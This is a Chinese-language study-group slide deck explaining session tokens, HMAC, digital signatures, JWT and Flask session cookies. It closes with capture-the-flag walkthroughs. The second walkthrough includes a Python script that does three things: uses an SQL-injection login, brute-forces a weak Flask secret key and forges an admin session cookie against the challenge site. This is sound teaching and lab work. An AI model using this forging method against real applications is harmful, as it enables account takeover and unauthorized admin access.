Session & 數位簽章 & FLASK
講師:堇姬
堇姬Naup(網管/美宣)
成電二年級/幽夜工作室繪師
CKCSC36
DC : naup_sumire_hime
IG : ckcsc36th_naup
涉獵C++、C、python、遊戲(tkinter、pygame)、資安(Web、Crypto)、AI、flask、html/css/js、 PHP、DC bot。
喜歡看輕小說、動畫、Vtuber、打音遊,也喜歡看百合,就是一個長年混跡ACG的宅女。
Session 令牌
token
token是當使用者登入成功後,server端產生並回傳的一組能象徵該使用者的『權杖』。
token長怎樣?
其實session不只有一種樣式,可以有很多種
既然令牌功能是驗證身分,那必然需要在令牌中儲存資訊。
eyJ1c2VybmFtZSI6Ik5hdXBqamluIn0
{"username":"Naupjjin"}
base64
但如果Token只有這樣是不是會有甚麼問題?
安全性不足!!!
eyJ1c2VybmFtZSI6ImFkbWluIn0
{"username":"admin"}
偽造token超級簡單(X
MAC訊息鑑別碼
Message Authentication Code
是經過特定演算法後產生的一小段資訊,檢查某段訊息的完整性,以及作身分驗證。
使用步驟
- 客戶先以安全的方式產生兩組密鑰(假設為A和B)給電商,「密鑰A」用於加密訊息 (E.g. 商品編號),「密鑰B」用於產生訊息識別碼。
- 客戶將被「密鑰A」加密後的密文再和「密鑰B」 hash 產生
MAC
- 將密文(含例如:商品編號)和
MAC
一同交給電商 - 電商將收到的密文和之前收到的「密鑰B」也 hash 產生出
MAC
MAC
相同即代表內容未被串改
HMAC
eyJ1c2VybmFtZSI6ImFkbWluIn0
{"username":"admin"}
hmac(SECRET_KEY , data)
base64
4r_7cqWTL6Zn2QP5C83KV8nPOMA
.
from itsdangerous import base64_encode
import hmac
print(base64_encode(hmac.new(b"Secret",msg=b'{"username":"Naupjjin"}', digestmod=hashlib.sha1).digest()))
舉個例子:
數位簽章
Digital Signature
-
誰簽章的
-
簽什麼文件(內容)
-
何時簽章的
-
「身份鑑別」
-
「檢查訊息完整性」
-
「不可抵賴性」
特性
我喜歡你
我喜歡你
我喜歡你
我喜歡你
水銀燈的密鑰
水銀燈的公鑰
用於確保數據在傳輸或存儲過程中不被篡改或竄改,同時能證明數據的來源是可信的。
數位憑證
Digital Certificate
公開金鑰密碼系統時,無法得知公開金鑰的擁有者身份,收到的公開金鑰裡,並未包含任何可表示製作者的資訊,有可能是偽裝成A的其他人所製作的公開金鑰
故引入第三方機構來解決公鑰身分驗證問題
憑證機構可以由任何人或任何公司發行
JWT(JSON Web Token)
數位簽章常見的方式是使用 JSON Web Token(JWT)
HEADER.PAYLOAD.SIGNATURE
分成三段
HEADER
1.聲明類型
2.聲明加密演算法
{
'typ': 'JWT',
'alg': 'HS256'
}
base64
ewogICd0eXAnOiAnSldUJywKICAnYWxnJzogJ0hTMjU2Jwp9
PAYLOAD
包含有關使用者或其他實體的聲明。這些聲明是一些有關實體的資訊,包含使用者的身份資訊、角色、權限或其他相關數據。
JWT 的 Payload 可以包含標準聲明和自訂聲明
(不一定要有)
標準聲明
- iss(Issuer):標識 JWT 的發行者。
- sub(Subject):標識 JWT 的主題,即使用者或實體的唯一標識符。
- aud(Audience):接收 JWT 的預期受眾。
- exp(Expiration Time):JWT 的過期時間,表示在這個時間之後,JWT 將不再被接受。
- nbf(Not Before):JWT 的生效時間,表示在這個時間之前,JWT 不會被接受。
- iat(Issued At):JWT 的發行時間。
- jti(JWT ID):JWT 的唯一標識符,用於防止重放攻擊。
自訂聲明
開發人員可以根據需要在 JWT 的 Payload 中添加自訂聲明,來攜帶應用程式特定的資訊。
{
"iss": "www.example.com", // 發行者 (Issuer)
"sub": "user123", // 主題 (Subject),使用者的唯一標識符
"aud": "api.example.com", // 預期接收JWT的受眾 (Audience)
"jti": "abc123xyz", // JWT的唯一標識符 (JWT ID),用於防止重放攻擊
"roles": ["user", "admin"], // 自訂聲明,使用者的角色
"is_verified": true // 自訂聲明,表示使用者是否已驗證
}
ewogICJpc3MiOiAid3d3LmV4YW1wbGUuY29tIiwgICAgICAgIAogICJzdWIiOiAidXNlcjEyMyIsICAgICAgICAgICAgICAgCiAgImF1ZCI6ICJhcGkuZXhhbXBsZS5jb20iLCAgICAgICAKICAianRpIjogImFiYzEyM3h5eiIsICAgICAgICAgIAogICJyb2xlcyI6IFsidXNlciIsICJhZG1pbiJdLCAgICAKICAiaXNfdmVyaWZpZWQiOiB0cnVlICAgICAgIAp9
SIGNATURE
Signature是將被轉換成 Base64 編碼的 Header、Payload 與自己定義的密鑰,透過在 Header 設定的雜湊演算法方式所產生的。
HMACSHA256 ( header.payload, secret)
Flask session token
跟JWT很像但不太一樣
base64(JSON session data) . encoded timestamp . HMAC
時間戳記
各種狀態及資訊
eyJoZWxsbyI6IndvcmxkMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ . YbDIxQ . lvkY_D2TEqYp17FdMdgDLOaQNaA
舉例:
#當然也可以使用其他方式
from itsdangerous import base64_encode
import hashlib, hmac
session_data = base64_encode(b'{"username":"curious"}')
session_time = base64_encode(b'<time stamp in bytes>')
pre_session = session_data + b'.' + session_time
# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())
session = pre_session + b'.' + session_hmac
生成方式
eyJ1c2VybmFtZSI6Ik5hdXAifQ.MjM0NTY4OQ.CByC7vXELnx-_GhXN-vrMaVv66E
from itsdangerous import base64_encode
import hashlib, hmac
secret_key=b"Naup96321"
session_data = base64_encode(b'{"username":"Naup"}')
session_time = base64_encode(b'2345689')
pre_session = session_data + b'.' + session_time
# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())
session = pre_session + b'.' + session_hmac
print(session)
參考文章:
實作個jwt
LoTuX XTF
EYE 1
reload會發現token的第二段、第三段改變了
第一段只有在 Get Flag !
被點擊之後會改變,合理懷疑跟第一段有關
但是flag在哪裡?
掃到他是用flask做的,所以合理懷疑session也是flask做的
base64(JSON session data) . encoded timestamp . HMAC
第一段是由base64編碼
丟進去得到flag
丟個自己寫的VGP(成發) session的樣子
EYE 2
/robots.txt
的路徑進去後發現
嘗試連連看兩條路徑
訪問 /admin
的話會發現跳回主頁
訪問 /admin-dev
可以發現一些跟 /admin
有關的 flask 程式碼
如果session為空,或是不是admin就回到主頁
可以去想想Flask session怎麼產生
from itsdangerous import base64_encode
session_data = base64_encode(b'{"username":"curious"}')
session_time = base64_encode(b'<time stamp in bytes>')
pre_session = session_data + b'.' + session_time
# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())
session = pre_session + b'.' + session_hmac
base64(JSON session data) . encoded timestamp . HMAC
我們可以嘗試不同的 app.secret_key
去計算 curious 的 session_hmac
,如果跟原本 session
的 session_hmac
相同的話就代表我們找到 app.secret_key
import requests as req
from itertools import product
from itsdangerous import base64_decode, base64_encode
from tqdm import tqdm
import hashlib, hmac
def gen_session_hmac(pre_session: bytes, secret_key: bytes):
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
return hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest()
session = req.post('http://lotuxctf.com:20002/login', data={'username': "curious' -- ", 'password': '123'},
allow_redirects=False).headers['Set-Cookie'].split(';')[0].split('=')[1].encode().split(b'.')
pre_session = session[0] + b'.' + session[1]
right_hmac = base64_decode(session[2])
for new_key in tqdm(product(range(256), repeat=3)):
new_key = bytes(new_key)
if gen_session_hmac(pre_session, new_key) == right_hmac:
secret_key = new_key
break
new_pre_session = base64_encode('{"username":"admin"}') + b'.' + session[1]
session = new_pre_session + b'.' + base64_encode(gen_session_hmac(new_pre_session, secret_key))
print(session)
接者就用找到的 app.secret_key
去算出一個 session_data
是 base64_encode(b'{"username":"admin"}')
的 session
cookie
,然後把這個 session
cookie
替換掉原本瀏覽器裡面的 session
cookie
,然後去請求 /admin
session讀書會
By naup96321
session讀書會
- 45